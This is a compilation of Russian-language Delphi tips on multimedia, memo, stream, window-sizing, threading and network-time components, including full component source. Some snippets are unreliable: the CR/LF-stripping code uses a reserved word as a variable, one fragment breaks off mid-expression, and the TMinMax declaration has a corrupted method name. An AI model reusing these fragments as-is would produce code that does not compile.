        { Pointer to application's OnChangeTempoError handler, if any }
        FOnChangeTempoError : TNotifyEvent;
        { Pointer to application's OnTempoChanged handler, if any }
        FOnTempoChanged : TNotifyEvent;
      { Private methods of TDTNTMMPlayer }
        { Method to set variable and property values and create objects }
        procedure AutoInitialize;
        { Method to free any objects created by AutoInitialize }
        procedure AutoDestroy;
    protected
      { Protected fields of TDTNTMMPlayer }
      { Protected methods of TDTNTMMPlayer }
        { Method to generate OnChangeTempoError event }
        procedure ChangeTempoError(Sender : TObject); virtual;
        { Method to generate OnTempoChanged event }
        procedure TempoChanged(Sender : TObject); virtual;
        procedure Loaded; override;
        procedure Paint; override;
    public
      { Public fields and properties of TDTNTMMPlayer }
      { Public methods of TDTNTMMPlayer }
        constructor Create(AOwner: TComponent); override;
        destructor Destroy; override;
        { SetsTempo }
        procedure SetTempo( Value : Integer );
    published
      { Published properties of TDTNTMMPlayer }
        property OnChangeTempoError : TNotifyEvent read FOnChangeTempoError
          write FOnChangeTempoError;
        { Tempo Changed Event }
        property OnTempoChanged : TNotifyEvent read FOnTempoChanged
          write FOnTempoChanged;
        property OnClick;
        property OnEnter;
        property OnExit;
        property OnNotify;
        property OnPostClick;
        property AutoEnable default True;
        property AutoOpen default False;
        property AutoRewind default True;
        property ColoredButtons
             default [btPlay, btPause, btStop, btNext, btPrev, btStep,
             btBack, btRecord, btEject];
        property DeviceType default dtAutoSelect;
        property EnabledButtons
             default [btPlay, btPause, btStop, btNext, btPrev, btStep,
             btBack, btRecord, btEject];
        property FileName;
        property Shareable default False;
        property Visible default True;
        property VisibleButtons
             default [btPlay, btPause, btStop, btNext, btPrev, btStep,
             btBack, btRecord, btEject];
  end;
procedure Register;
implementation
procedure Register;
begin
     { Register TDTNTMMPlayer with D-TNT as its
       default page on the Delphi component palette }
     RegisterComponents('D-TNT', [TDTNTMMPlayer]);
end;
{ Method to set variable and property values and create objects }
procedure TDTNTMMPlayer.AutoInitialize;
begin
     AutoEnable := True;
     AutoOpen := False;
     AutoRewind := True;
     ColoredButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
     btBack, btRecord, btEject];
     DeviceType := dtAutoSelect;
     EnabledButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
     btBack, btRecord, btEject];
     Shareable := False;
     Visible := True;
     VisibleButtons := [btPlay, btPause, btStop, btNext, btPrev, btStep,
     btBack, btRecord, btEject];
end; { of AutoInitialize }
{ Method to free any objects created by AutoInitialize }
procedure TDTNTMMPlayer.AutoDestroy;
begin
     { No objects from AutoInitialize to free }
end; { of AutoDestroy }
{ Method to generate OnChangeTempoError event }
procedure TDTNTMMPlayer.ChangeTempoError(Sender : TObject);
begin
     { Has the application assigned a method to the event, whether
       via the Object Inspector or a run-time assignment?  If so,
       execute that method }
     if Assigned(FOnChangeTempoError) then
        FOnChangeTempoError(Sender);
end;
{ Method to generate OnTempoChanged event }
procedure TDTNTMMPlayer.TempoChanged(Sender : TObject);
begin
     { Has the application assigned a method to the event, whether
       via the Object Inspector or a run-time assignment?  If so,
       execute that method }
     if Assigned(FOnTempoChanged) then
        FOnTempoChanged(Sender);
end;
constructor TDTNTMMPlayer.Create(AOwner: TComponent);
begin
     { Call the Create method of the parent class }
     inherited Create(AOwner);
     { AutoInitialize sets the initial values of variables and      }
     { properties; also, it creates objects for properties of       }
     { standard Delphi object types (e.g., TFont, TTimer,           }
     { TPicture) and for any variables marked as objects.           }
     { AutoInitialize method is generated by Component Create.      }
     AutoInitialize;
     { Code to perform other tasks when the component is created }
end;
destructor TDTNTMMPlayer.Destroy;
begin
     { AutoDestroy, which is generated by Component Create, frees any   }
     { objects created by AutoInitialize.                               }
     AutoDestroy;
     { Here, free any other dynamic objects that the component methods  }
     { created but have not yet freed.  Also perform any other clean-up }
     { operations needed before the component is destroyed.             }
     { Last, free the component by calling the Destroy method of the    }
     { parent class.                                                    }
     inherited Destroy;
end;
procedure TDTNTMMPlayer.Loaded;
begin
     inherited Loaded;
     { Perform any component setup that depends on the property
       values having been set }
end;
procedure TDTNTMMPlayer.Paint;
begin
     { Make this component look like its parent component by calling
       its parent's Paint method. }
     inherited Paint;
     { To change the appearance of the component, use the methods
       supplied by the component's Canvas property (which is of
       type TCanvas).  For example, }
     { Canvas.Rectangle(0, 0, Width, Height); }
end;
{ SetsTempo }
procedure TDTNTMMPlayer.SetTempo( Value : Integer );
var
  Flags: LongInt;
  SeqParm: TMCI_Seq_Set_Parms;
begin
pause;
  if DeviceType = dtSequencer then
  begin
    SeqParm.dwTempo := Value;
    Flags := MCI_SEQ_SET_TEMPO;
    mciSendCommand(DeviceID, MCI_SET, Flags, Longint(@SeqParm));
    TempoChanged(self);
  end
  else
    ChangeTempoError(self);
resume;
end;
end.

Обмен данными между TMemoField и TMemo.

procedure TMemoToTMemoField;
begin
  TMemoField.Assign(TMemo.Lines);
end;
procedure TMemoFieldToTMemo;
var
  aBlobStream: TBlobStream;
begin
  aBlobStream := TBlobStream.Create(TMemoField, bmRead);
  TMemo.Lines.LoadFromStream(aBlobStream);
  aBlobStream.Free;
end;

Различия TMemoField.

Во-первых, если аргумент size у GetMem равен нулю, GetMem устанавливает указатель в nil (не отбрасывайте такой способ, но разумней самому установить его в nil). Также в отладчике вы могли бы проверять значение DataSize (или getTextLen) перед самим вызовом . (Проигнорируйте следующий параграф, если Table1Notes не Memo.) Во-вторых, если Table1Notes - Memo-поле, вы, вероятно, захотите использовать Table1Notes.getTextLen, не DataSize, поскольку DataSize возвращает размер сегмента буфера записи (0-254), тогда как getTextLen возвратит вам реальный размер Memo. (Для строкового поля DataSize работать будет, но очень странно, поскольку возвращает ноль.) Также вы можете воспользоваться getTextBuf вместо getData, не знаю точно почему, но мои многочисленные экспериметны показали, что getTextBuf работает правильно и устойчиво, а get Data нет.

Поскольку "wordwrapping" (перенос слов) доступен в вашем приложении, вы можете заменить символы #10 (перевод строки) и #13 (возврат каретки) на пробелы, например так:

cursor: pchar;
...
cursor := ваш буфер;
while cursor^ <> #0 do
  if (cursor^ = #13) or (cursor^ = #10) then
    cursor^ := ' '; 

Данный способ прост, поскольку нам нет нужды перемещать текст из переменной в переменную, хотя и не без недостатка, поскольку в конце каждой строки мы получаем два пробела, что может неправильно интерпретироваться при переносе строк. В качестве альтернати вы, вместо пробела вы можете применить другой служебный символ, который ваш текстовый процессор воспримет в качестве прерывания строки, или проигнорирует его (например, символ #8). Если вам нужно просто избавиться от символов перевода строки, воспользуйте сь двумя курсорами как показано ниже (извините, не тестировал):

out, in: pchar;
...
out := ваш буфер;
in := out;
while in^ <> #0 do 
begin
  if (in^ <> #10) and (in^ <> #13) then 
  begin
    out^ := in^;
    inc (out);
  end;
  inc (in);
end;
out^ := #0; 

Если вместо этого вы хотите заменить каждую пару CR-LF или отдельный CR или LF единичным пробелом, попробуйте это:

out, inn: PChar;
...
out := ваш буфер;
inn := out;
while in^ <> #0 do 
begin
  if (in^ = #10) then 
  begin
  end
  else 
  if (in^ = #13) then 
  begin
    if (in+1)^

Если вместо этого вы хотите заменить каждую пару CR-LF или отдельный CR или LF единичным пробелом, попробуйте это:

out, inn: PChar;
out := buf;
inn := out;
while inn^ <> #0 do begin
if (inn^ = #10) or ((inn^ = #13) and ((inn+1)^ <> #10)) then begin
out^ := ' ';
Inc(out);
end
else if (inn^ = #13) then
{ только CR, игнорируем }
else begin
out^ := inn^;
Inc(out);
end;
Inc(inn);
end;
out^ := #0;
{ буфер теперь закрыт } 
Непроверенное: эффект уменьшения размера (путем установки терминатора #0) этого PChar позволит уменьшить время компиляции массивов и буферов GetMem, что же будет при использовании StrAlloc/StrDispose?

Вот конечный код после учета всех мелочей! Например, нам, в конечном счете, нужно сообщить указателю о необходимости возвратиться к началу своей новой строки.

procedure TForm1.RemoveSpaces(var InBuf: PChar; Size: Word);
var
Input,
OutPut,
Orig: PChar;
begin
GetMem(Output, Size);
input := Inbuf;
Orig := Output;
while input^ <> #0 do
begin
if (input^ <> #10) and (input^ <> #13) then
begin
output^ := input^;
inc (output);
end;
inc (input);
end;
Output^ := #0;
Output := Orig;
InBuf := Output;
end;  

Я все еще немало удивлен тому как работает GetData! Я все еще не хочу использовать TMemo! Если кто-то может решить эту проблему, я буду очень рад! Пока же я готовлю для вас материал, включающий новые процедуры печати! Наведем порядок в беспорядке! Я уже и мею реализацию вывода текста с любым шрифтом и в любой позиции, выраженной в дюймах, и это только начало! Но что я думаю действительно классно вышло, так это диманическая сетка! Вы можете создавать сетку с любым количеством строк и колонок. Назначьте текс т и ячейку, установите горизонтальное и вертикальное выравнивание, выберите стиль границы для каждой ячейки и изучите множество других способов манипулирования и печати сетки!

Загрузка TMemoField в Memo.

Procedure TMemoToTMemoField;
begin
  TMemoField.Assign( TMemo.Lines );
end;
Procedure TMemoFieldToTMemo;
VAR
  aBlobStream : TBlobStream;
begin
  aBlobStream := TBlobStream.Create(TMemoField, bmRead);
  TMemo.Lines.LoadFromStream( aBlobStream );
  aBlobStream.Free;
end;

TMemoryStream.

Думайте о потоке памяти как о расположенном в памяти файле. Команды для работы с потоком очень похожи на команды для работы с файлами. (В действительности, это ближе к команде blockwrite.)

Вот "медленный" путь записи строки в поток:

for i := 1 to Length(s) do
  memstream.Write(s[i], 1);

Данный код пишет за один проход один символ строки. Просто и легко для понимания, но немного медленно в работе. Для ускорения процесса можно сделать так:

memstream.Write(s[1], Length(s));
Две строчки делают то же самое, они добавляют символы в поток. Если вы не делали никаких перемещений внутреннего курсора потока (seek), символы просто добавляются в конец.

Теперь, для соблюдения перевода каретки, вы должны добавлять эти спецсимволы сами:

memstream.Write(#13, 1);
memstream.Write(#10, 1);

Или вы можете использовать более изощренный метод:

procedure StreamWriteStr(var ms: TMemoryStream; s: string);
begin
  ms.Write(s[1], Length(s));
end;
procedure StreamWriteLnStr(var ms: TMemoryStream; s: string);
begin
  StreamWriteStr(ms, s + #13#10);
end;

Также, вы можете создать собственный класс-потомок TMemoryStream, с методом записи строк.

Следование за мышкой в TMemo для установки позиции курсора.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Memo1MouseMove(Sender: TObject; Shift: TShiftState; X,
   Y: Integer);
 begin
   Memo1.SelStart  := LoWord(SendMessage(Memo1.Handle, EM_CHARFROMPOS, 0, MakeLParam(X, Y)));
   Memo1.SelLength := 0;
 end;

Фильтровать все ссылки в TMemo.

Сын к папе-интернетчику подходит: - Папа, а адрес пишется с одной "с", или с двумя? - С тремя w, сынок.
// For this tip you need Memo1, ListBox1, Label1, Button1.
procedure TForm1.Button1Click(Sender: TObject); 
var  
  i, p: Integer; 
  s: string; 
begin 
  ListBox1.Clear; 
  for i := 0 to Memo1.Lines.Count - 1 do 
  begin 
    if Pos('http://', Memo1.Lines.Strings[i]) > 0 then 
    begin 
      s := ''; 
      {If the current line contains a "http://", read on until a space is found 
       Die aktuelle Zeile wird nach der Zeichenfolge "http://" durchsucht 
       und bei Erfolg ab der gefundenen Position ausgelesen, bis ein 
       Leerzeichen auftritt...} 
      for p := Pos('http://', Memo1.Lines.Strings[i]) to 
        Length(Memo1.Lines.Strings[i]) do 
        if Memo1.Lines.Strings[i][p] <> ' ' then 
          s := s + Memo1.Lines.Strings[i][p] 
      else 
        break; 
       {Remove some characters if address doesn't end with a space 
       Falls die gefundene Adresse nicht mit einem Leerzeichen abschlie?t, 
       werden hier noch anhangende Textzeichen entfernt...} 
      while Pos(s[Length(s)], '..;!")]}?''>') > 0 do 
        Delete(s, Length(s), 1); 
      // Add the Address to the list... 
      //Gefundene Adresse in die Liste aufnehmen... 
      ListBox1.Items.Add(s); 
    end; 
  end; 
  // Show the number of Addresses in Label1 
  // Die Zahl der gefundenen Adressen in Label1 anzeigen... 
  if ListBox1.Items.Count > 0 then 
    label1.Caption := IntToStr(ListBox1.Items.Count) + 
      ' Adresse(n) gefunden.' 
  else 
    label1.Caption := 'Keine Adresse gefunden.'; 
end;

TMetaFile - ошибка при работе с памятью.

Компьютер - это устройство для упорядочивания, ускорения и автоматизации человеческих ошибок.
Для создания в памяти метафайла, я пытаюсь использовать TMetafile. Чтобы я ни делал, это не работает как надо. Я получаю метафайл или неверного размера, или без возможности масштабирования.

Я долго экспериментировал и пришел к выводу, что все эти ошибки возникают в случае, когда map mode (режим карты) использует не mm_Text. Я трассировал ошибку в TMetafile.SaveToClipboardFormat. Программа неверно использует значение по умолчанию TMetafileImage.FInch = 0. Я думаю что TMetafileImage должен иметь значение по умолчанию FInch = Screen.PixelsPerInch или программа, которая сохраняет его в буфере обмена, должна правильно использовать FInch = 0 (т.е. сделайте значение mm_Text).

Компонент TMinMax.

Автор: Robert Wittig

Компонент TMinMax может быть размещен на форме для управления ее сообщением WM_GETMINMAXINFO. Вы можете устанавливать максимально/минимальный размер рамки при изменении размера формы, максимальный размер и положение окна через соответствующие свойства. Поскольку компонент управляет событием WM_GETMINMAXINFO своего владельца, вы можете разместить его на необходимом количестве форм, и управлять соответствующей формой через ее собственное событие WM_GETMINMAXINFO.

{***************************************************************************** }
{                                 UMINMAX.PAS }
{                                      Автор }
{                                Robert Wittig }
{                                  76401,242 }
{  Данный модуль обеспечивает вас интерфейсом для управления сообщением WM_GETMINMAXINFO }
{  на основе компонента . C помощью этого компонента вы легко можете управлять }
{  минимальным и максимальным размером окна. Вы можете также управлять размером и }
{  положением максимально раскрытого окна. }
{  Данный модуль свободен в использовании. Вы можете без ограничений использовать его }
{  в некоммерческих приложениях. Вы можете использовать его в коммерческих приложениях, }
{  если данный код занимает менее 20% от всего кода приложения. Вы можете свободно }
{  копировать и распространять данный модуль с условием сохранения (по возможности) }
{  данной информации. }
{  Пожалуйста посылайте свои коментарии/предложения автору непосредственно в форум }
{  или по e-mail по адресу 76401,242. Автор не дает никаких гарантий по работе }
{  данного модуля. }
{  История модуля }
{  ------------ }
{  03-05-96  Автор Robert Wittig (CompuServe ID 74601,242) }
{***************************************************************************** }
unit uMinMax;
interface
uses Classes, Controls, Forms, Messages, SysUtils, WinProcs, WinTypes;
type
  TMinMax = class(TComponent)
  private
    OldWndProc: Pointer;
    FInstance: Pointer;
    MinMaxInfo: TMinMaxInfo;
    FActive: Boolean;
  protected
    procedure Notification(aComponent: TComponent; Operation: TOperation);
      override;
    procedure ResetSubclass; virtual;
    procedure Subclass; virtual;
    procedure InitMinMaxInfo; virtual;
    procedure MinMaxWndProc(var Message: TMessage); virtual;
    function GetMinWidth: Integer; virtual;
    function GetMinHeight: Integer; virtual;
    function GetMaxWidth: Integer; virtual;
    function GetMaxHeight: Integer; virtual;
    function GetMaximizedX: Integer; virtual;
    function GetMaximizedY: Integer; virtual;
    function GetMaximizedWidth: Integer; virtual;
    function GetMaximizedHeight: Integer; virtual;
    function GetReset: Boolean; virtual;
    procedure SetActive(Value: Boolean); virtual;
    procedure SetMinWidth(Value: Integer); virtual;
    procedure SetMinHeight(Value: Integer); virtual;
    procedure SetMaxWidthWM_GETMINMAXINFO(Value: Integer); virtual;
    procedure SetMaxHeight(Value: Integer); virtual;
    procedure SetMaximizedX(Value: Integer); virtual;
    procedure SetMaximizedY(Value: Integer); virtual;
    procedure SetMaximizedWidth(Value: Integer); virtual;
    procedure SetMaximizedHeight(Value: Integer); virtual;
    procedure SetReset(Value: Boolean); virtual;
    procedure SetNewSize; virtual;
  public
    destructor Destroy; override;
  published
    property Active: Boolean read FActive write SetActive;
    property MinWidth: Integer read GetMinWidth write SetMinWidth;
    property MinHeight: Integer read GetMinHeight write SetMinHeight;
    property MaxWidth: Integer read GetMaxWidth write SetMaxWidth;
    property MaxHeight: Integer read GetMaxHeight write SetMaxHeight;
    property MaximizedX: Integer read GetMaximizedX write SetMaximizedX;
    property MaximizedY: Integer read GetMaximizedY write SetMaximizedY;
    property MaximizedWidth: Integer read GetMaximizedWidth write
      SetMaximizedWidth;
    property MaximizedHeight: Integer read GetMaximizedHeight write
      SetMaximizedHeight;
    {**************************** RCW 03-05-96 ************************}
    { Reset является псевдо-свойством. Если значение равно True, TMinMax сбрасывает }
    { свойства Min/Max и устанавливает значения по умолчанию. }
    {**************************** RCW 03-05-96 ************************}
    property Reset: Boolean read GetReset write SetReset;
  end;
  {********************************** RCW 03-05-96 ******************************}
  {  Использование: Общая информация относительно WM_GETMINMAXINFO содержится }
  {             в статьях WM_GETMINMAXINFO и TMINMAXINFO в файле справке }
  {             по функциям API. Также, имейте в виду следующее: }
  {               1) При перемещении границ окна минимальные/максимальные }
  {                   размеры окна определяются свойствами MinWidth, MaxWidth,}
  {                   MinHeight и MaxHeight. }
  {               2) При максимизации окна максимальная высота и ширина }
  {                   окна определяются соответственно Min(MaxHeight, }
  {                   MaximizedHeight) и Min(MaxWidth,MaximizedWidth). Это }
  {                   функция Windows и не зависит от работы компонента. }
  {                   ( Примечание: возможно иметь окно, которое }
  {                            имеет рамку большего размера чем максимальный }
  {                            размер окна. )               }
  {               3) Будьте осторожными при установке MaximizedX и MaximizedY. }
  {                   Примечание: если вы установили это слишком маленьким }
  {                   или слишком большим, ни кнопка, ни заголовок (для двойного }
  {                   щелчка) видимыми не будут. Следовательно, вы не можете }
  {                   восстановить окно до нормального состояния через нормальный }
  {                   интерфейс Windows. }
  {********************************** RCW 03-05-96 ******************************}
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Custom', [TMinMax]);
end;
destructor TMinMax.Destroy;
begin
  if FInstance <> nil then
    FreeObjectInstance(FInstance);
  inherited Destroy;
end;
procedure TMinMax.Notification(aComponent: TComponent; Operation: TOperation);
begin
  if aComponent = Self then
    if Operation = opInsert then
      Subclass
    else if Operation = opRemove then
      ResetSubclass;
  inherited Notification(aComponent, Operation);
end;
procedure TMinMax.ResetSubclass;
begin
  if (FInstance <> nil) and
    (Owner <> nil) then
    if IsWindow(TWinControl(Owner).Handle) then
      SetWindowLong(TWinControl(Owner).Handle, GWL_WNDPROC,
        LongInt(OldWndProc));
end;
procedure TMinMax.Subclass;
begin
  if Owner is TWinControl then
    with TWinControl(Owner) do
    begin
      if FInstance = nil then
        FInstance := MakeObjectInstance(MinMaxWndProc);
      OldWndProc := Pointer(GetWindowLong(Handle, GWL_WNDPROC));
      SetWindowLong(Handle, GWL_WNDPROC, LongInt(FInstance));
      InitMinMaxInfo;
    end;
end;
procedure TMinMax.InitMinMaxInfo;
begin
  with MinMaxInfo do
  begin
    if Owner is TForm then
      with ptMaxPosition do
        case TForm(Owner).BorderStyle of
          bsSingle:
            begin
              X := -GetSystemMetrics(SM_CXBORDER);
              Y := -GetSystemMetrics(SM_CYBORDER);
            end;
          bsSizeable:
            begin
              X := -GetSystemMetrics(SM_CXFRAME);
              Y := -GetSystemMetrics(SM_CYFRAME);
            end;
        end;
    with ptMaxSize do
    begin
      X := Screen.Width - 2 * ptMaxPosition.X;
      Y := Screen.Height - 2 * ptMaxPosition.Y;
    end;
    ptMaxTrackSize := ptMaxSize;
  end;
end;
procedure TMinMax.MinMaxWndProc(var Message: TMessage);
begin
  Message.Result := CallWindowProc(TFarProc(OldWndProc),
    TWinControl(Owner).Handle,
    Message.Msg, Message.wParam, Message.lParam);
  if FActive and (Message.Msg = WM_GETMINMAXINFO) then
    PMinMaxInfo(Message.lParam)^ := MinMaxInfo;
end;
function TMinMax.GetMinWidth: Integer;
begin
  Result := MinMaxInfo.ptMinTrackSize.X;
end;
function TMinMax.GetMinHeight: Integer;
begin
  Result := MinMaxInfo.ptMinTrackSize.Y;
end;
function TMinMax.GetMaxWidth: Integer;
begin
  Result := MinMaxInfo.ptMaxTrackSize.X;
end;
function TMinMax.GetMaxHeight: Integer;
begin
  Result := MinMaxInfo.ptMaxTrackSize.Y;
end;
function TMinMax.GetMaximizedX: Integer;
begin
  Result := MinMaxInfo.ptMaxPosition.X;
end;
function TMinMax.GetMaximizedY: Integer;
begin
  Result := MinMaxInfo.ptMaxPosition.Y;
end;
function TMinMax.GetMaximizedWidth: Integer;
begin
  Result := MinMaxInfo.ptMaxSize.X;
end;
function TMinMax.GetMaximizedHeight: Integer;
begin
  Result := MinMaxInfo.ptMaxSize.Y;
end;
function TMinMax.GetReset: Boolean;
begin
  Result := False;
end;
procedure TMinMax.SetActive(Value: Boolean);
begin
  if Value <> FActive then
  begin
    FActive := Value;
    SetNewSize;
  end;
end;
procedure TMinMax.SetMinWidth(Value: Integer);
begin
  if Value < 0 then
    Value := 0;
  if Value <> MinMaxInfo.ptMinTrackSize.X then
  begin
    MinMaxInfo.ptMinTrackSize.X := Value;
    SetNewSize;
  end;
end;
procedure TMinMax.SetMinHeight(Value: Integer);
begin
  if Value < 0 then
    Value := 0;
  if Value <> MinMaxInfo.ptMinTrackSize.Y then
  begin
    MinMaxInfo.ptMinTrackSize.Y := Value;
    SetNewSize;
  end;
end;
procedure TMinMax.SetMaxWidth(Value: Integer);
begin
  if Value < MinMaxInfo.ptMinTrackSize.X then
    Value := MinMaxInfo.ptMinTrackSize.X;
  if Value <> MinMaxInfo.ptMaxTrackSize.X then
  begin
    MinMaxInfo.ptMaxTrackSize.X := Value;
    SetNewSize;
  end;
end;
procedure TMinMax.SetMaxHeight(Value: Integer);
begin
  if Value < MinMaxInfo.ptMinTrackSize.Y then
    Value := MinMaxInfo.ptMinTrackSize.Y;
  if Value <> MinMaxInfo.ptMaxTrackSize.Y then
  begin
    MinMaxInfo.ptMaxTrackSize.Y := Value;
    SetNewSize;
  end;
end;
procedure TMinMax.SetMaximizedX(Value: Integer);
begin
  MinMaxInfo.ptMaxPosition.X := Value;
end;
procedure TMinMax.SetMaximizedY(Value: Integer);
begin
  MinMaxInfo.ptMaxPosition.Y := Value;
end;
procedure TMinMax.SetMaximizedWidth(Value: Integer);
begin
  MinMaxInfo.ptMaxSize.X := Value;
end;
procedure TMinMax.SetMaximizedHeight(Value: Integer);
begin
  MinMaxInfo.ptMaxSize.Y := Value;
end;
procedure TMinMax.SetReset(Value: Boolean);
begin
  if Value then
    InitMinMaxInfo;
end;
procedure TMinMax.SetNewSize;
begin
  if not FActive then
    Exit;
  {**************************** RCW 03-05-96 ******************************}
  { Если размер окна превышает допустимые пределы, производим необходимую коррекцию. }
  {****************************** RCW 03-05-96 ****************************}
  if FInstance = nil then
    raise Exception.Create('Не могу управлять WM_GETMINMAXINFO, поскольку
      Owner не TWinControl' )
  else
    with TWinControl(Owner), MinMaxInfo do
    begin
      if (ptMinTrackSize.X <> 0) or
        (ptMaxTrackSize.X <> 0) then
        if Width < ptMinTrackSize.X then
          Width := ptMinTrackSize.X
        else if Width > ptMaxTrackSize.X then
          Width := ptMaxTrackSize.X;
      if (ptMinTrackSize.Y <> 0) or
        (ptMaxTrackSize.Y <> 0) then
        if Height < ptMinTrackSize.Y then
          Height := ptMinTrackSize.Y
        else if Height > ptMaxTrackSize.Y then
          Height := ptMaxTrackSize.Y;
    end;
end;
end.

Компонент TMultiProperty.

Оформил: DeeCo

Автор: Рустам Кафаров.

Компонент TMultiProperty предназначен для создания мультиязычных и мультиинтерфейсных приложений. Особенность его состоит в том, что конечный пользователь создаваемого продукта сможет сам изменять внешний вид программы без изменения EXE-файла. С компонентом поставляется специальный редактор MultiEditor. Компонент вляется Shareware и поставляется только в спомпилированном виде. Активные тестеры будут поощраться скидками на продукт. Вопросы цены и вариантов доставки - на сайте автора. Более подробная информация там же.

Описание.

Компонент TMultiProperty предназначен для создания многоязыковых и мультиинтерфейсных приложений. Он позволяет изменить свойства компонентов после компиляции проекта. Принцип его работы основан на записи перечня всех компонентов со всеми их свойствами в файл-слепок проекта и значений этих свойств в файл значений. Эту процедуру можно осуществить прямо в дизайн-тайме, а при необходимости и в ран-тайме. Файл значений представляет собой не что иное, как двоичный DFM файл, полученный при помощи последовательного вызова методов WriteComponent() объекта TWriter. Поэтому он может легко конвертироваться в текстовый формат и обратно. Для редактирования этого файла вместе с компонентом поставляется специальный редактор MultiEditor. С его помощью можно будет создавать новые файлы значений. Чтоб это можно было сделать в отсутствии самого приложения, используется файл-слепок. С его помощью пользователь сам легко сможет изменить текст в метке, или поменять положение кнопки, изменить шрифт и цвет колонки ДБ-грида и т.д. Для работы уже самого приложения нужен лишь файл значений, а файл-слепок необходим только для его создания. Таким образом, сам конечный пользователь, даже далекий от программирования, сможет изменять внешний вид приложения БЕЗ изменения EXE-файла. Преимуществами этого продукта перед его аналогами являются: Инструмент действует на уровне самого приложения, т.е. является его частью. Он не требует перекомпиляции или перезагрузки приложения. При этом он может управляться параметрами командной строки (временно отключаться/включаться, пересоздавать файлы, загружать файлы свойств). Компонент не сканирует исходные коды на наличие строковых констант. Таким образом, изменять можно все свойства (кроме бинарных) любых компонентов, в том числе и нестандартных, не визуальных, со сложными вложенными объектными свойствами. При этом есть возможность фильтровать компоненты по именам и классам на момент создания файла-слепка. Создание файлов значений, т.е. непосредственный перевод, может осуществляться непосредственно самим пользователем. При этом программистом могут накладывать ограничения на возможности пользователя редактировать те или иные значения свойств. Свойства или целые компоненты можно сделать невидимыми для пользователя или только для чтения. Формат файлов значений является стандартным форматом DFM-файлов, и может использоваться и другими программами. К тому же размер их достаточно мал. Следует учесть, что хоть размер файла-слепка сравнительно большой (достигает десятков мегабайт для достаточно большого приложения). Загрузка файла значений может происходить при инициализации приложения (свойство ValueFile читается из DFM, реестра, командной строки), либо в любой момент выполнения программы.

Скачать компонент:

С домашней страницы автора: Скачать shareware версию компонента (67К) Скачать shareware версию редактора (291К)

Как реализовать обработку информации одновременно несколькими потоками.

Автор: Садыков Алексей Николаевич Запускайте Delphi. Итак, наша программа будет представлять из себя форму с двумя еdit'ами и кнопкой. Добавьте их на форму. При нажатии на кнопку будут осуществляться некоторые долгие вычисления. Если бы мы не использовали потоки, то, пока эти вычисления не закончатся, делать мы ничего бы не смогли. Надо было бы ждать. Но, так как потоки у нас будут, то во время долгих вычислений можно будет что-нибудь вводить во второй edit (он, собственно, только для этого и существует). В первый же edit наш поток будет выводить некоторые промежуточные результаты своей работы. Добавьте в программу еще один модуль (меню File, New, Unit).

Внесите в окно кода нового модуля следующий код:

unit Unit2;
interface
uses
  Classes;
type
  TMyThread = class(TThread) //Новый класс
  private
    answer: Integer;
  protected
    procedure ShowResult;
    procedure Execute; override;
  end;
implementation
uses
  SysUtils, Unit1;
//Процедура для вывода информации из потока
procedure TMyThread.ShowResult;
begin
  Form1.Edit1.Text := IntToStr(answer);
end;
//Длинная процедура
procedure TMyThread.Execute;
var
  i: Integer;
begin
  for i := 1 to 10000 do
  begin
    answer := answer + 1;
    Synchronize(ShowResult);
  end;
end;
end.
Немного комментария по коду. В нашем модуле мы вводим новый класс TMyThread как «потомок» TThread. В экземпляре нашего класса и будет выполнятся отдельный поток программы. В классе есть процедура ShowResult для вывода информации из работающего потока в основной поток (форму) нашей программы. Кроме того, в классе есть наша версия метода Execute из родительского класса TThread. Обратите внимание, что в нашей реализации Execute мы пишем
Synchronize(ShowResult);
Тем самым наш поток что-то отправляет в основной поток программы (в данном случае, значение переменной answer). Делаем мы это посредством вызова Synchronize, в котором в качестве параметра указываем имя нужной процедуры. Теперь переходим к нашему основному модулю Unit1. Во-первых, добавьте в секцию uses ссылку на Unit2:
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, 
  Forms, Dialogs, StdCtrls, Unit2;

Во-вторых, напишите обработчик для нажатия кнопки:

procedure TForm1.Button1Click(Sender: TObject);
var
  MyThread: TMyThread;
begin
  MyThread := TMyThread.Create(False);
end;
Тут мы создаем второй поток для нашего приложения. Параметр False означает, что метод Execute для нашего потока вызовется немедленно.

Запускайте программу. Нажимайте на кнопку. В первом еdit'е замелькают промежуточные результаты работы второго потока. Во время его работы вы можете вводить информацию во второй edit — т.е. работа одного потока не мешает работе другого.

Компонент TNMDayTime.

Статьи по Delphi (017)…
Пользователь технической поддержке: - Да что же это такое?!!! Всякий раз, когда я вам звоню, мой интернет отключается!!!

Этот компонент предназначен для получения даты и времени от серверов даты и времени в интернет и интранет в соответствии со стандартом RFC 867, называемым "Протокол времени суток".

Если у вас в "подчинении" один домашний компьютер, то время на нём можно периодически подводить по своим часам - здесь точность не требуется, но если вы администратор малой или большой сети, если у вас есть многопользовательская программа, то для синхронизации времени на машинах нужно использовать некий механизм. Например, эту возможность, предоставляемую интернет.

В интернете используются 4 временных протокола. Протокол, используемый в TNMDayTime, достаточно простой и даёт время с погрешностью в 1секунду. Этому протоколу требуется наличие 32-битного стека протоколов TCP/IP (библиотеки WSOCK32.DLL), поставляемой с операционными системами Windows 95/98/NT. За протоколом даты/времени закреплён порт 13.

Перед тем как использовать этот компонент, вы должны знать имя или IP-адрес соответствующего сервера Интернет и присвоить это значение свойству Host, в которое помещается имя сервера или разделённый точками IP-адрес. После того как вы сделали это и установили соединение, вам остаётся считать полученное значение из свойства DayTimeStr.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
  NMDayTime1.ReportLevel:=Status_Basic;
  NMDayTime1.TimeOut:=30000;
  NMDayTime1.Host:=Edit1.Text;
  NMDayTime1.Port:=StrToInt(Edit2.Text);
  Label3.Caption:=NMDayTime1.DayTimeStr;
end;

Компонент TNMEcho.

Статьи по Delphi (017)…
Гуляя по лесу, программист набрел на пещеру. - А! - крикнул он. - А!... А!... А!... - ответило эхо. - Эхо!- позвал он. - Echo is ON,- ответило эхо.

Компонент применяется для отсылки текстовых сообщений на эхо-сервер и получения этого сообщения обратно в соответствии со стандартом RFC 862.

Этот компонент обычно применяется для тестирования и настройки сети., поскольку мы можем оценить время ответа сервера, которое помещается в свойство ElapsedTime. Это единственное собственное свойство компонента, остальные наследуются.

